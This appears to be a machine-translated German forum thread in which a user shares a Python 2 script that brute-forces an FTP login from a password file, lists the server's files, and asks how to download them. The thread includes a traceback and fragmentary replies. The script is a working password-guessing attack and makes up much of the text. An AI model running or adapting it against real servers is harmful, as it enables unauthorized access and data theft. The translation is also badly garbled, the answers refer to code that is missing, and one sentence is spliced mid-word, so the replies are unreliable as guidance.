Abrufen von Datei - /s vom FTP-Verbindung mit Python
ich baute dieses einfache tool für brute-force-und eine Verbindung zum ftp-server
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
derzeit das tool funktioniert (ich pflanzte Sie das richtige Passwort ein 3. auf der Datei-Liste) - wenn ich mich einlogge bekomme ich diese Ausgabe:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
hier, was ich will, ist, dass der user (mich), um Dateien entweder 1 bestimmte Datei oder alle von Ihnen - aber ich weiß nicht, was ist der einfachste Weg zu gehen über diese
die Wahl, sich von 1 oder alle, die ich tun kann, (drücken Sie 1, um kopieren Sie alle ->), aber der Befehl selbst zu kopieren Sie alle oder nur einen, und wenn man dann basierend auf dem, was im nicht sicher, wie zu tun ist.
BEARBEITEN:
hinzufügen, was Xendrm vorgeschlagen, um den code yealds dies:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.
- Ich glaube, Sie brauchen, um zu bauen, dass das Kommando da er nicht vorhanden ist.
Du musst angemeldet sein, um einen Kommentar abzugeben.
ok, also nach viel Versuch und Irrtum habe ich herausgefunden, wie es zu tun. - dieses script nehmen Sie jede Datei in das gewählte Verzeichnis hat nicht herausfinden, wie man alle Dateien aus allen Unterverzeichnissen als gut, aber dieser ist mehr als gut genug - verlassen hier für die Zukunft der Menschen zu sehen.
und als Beweis, das ist die Ausgabe erhielt von den oben code:
ftp.retrlines("LIST -a")
Befehl nur zeigen, dass esZuerst müssen Sie verstehen, die ftp - Protokoll, bevor Sie einige schwere Sachen. Als Beispiel kann man etwas wie das hier tun:
Versuchen Sie dies :
Ich habe mit diesem für eine ganze Weile jetzt. Wenn Sie regelmäßig FTPing von einer Maschine, einfach codieren Sie die Werte für hostname, Benutzername, etc,.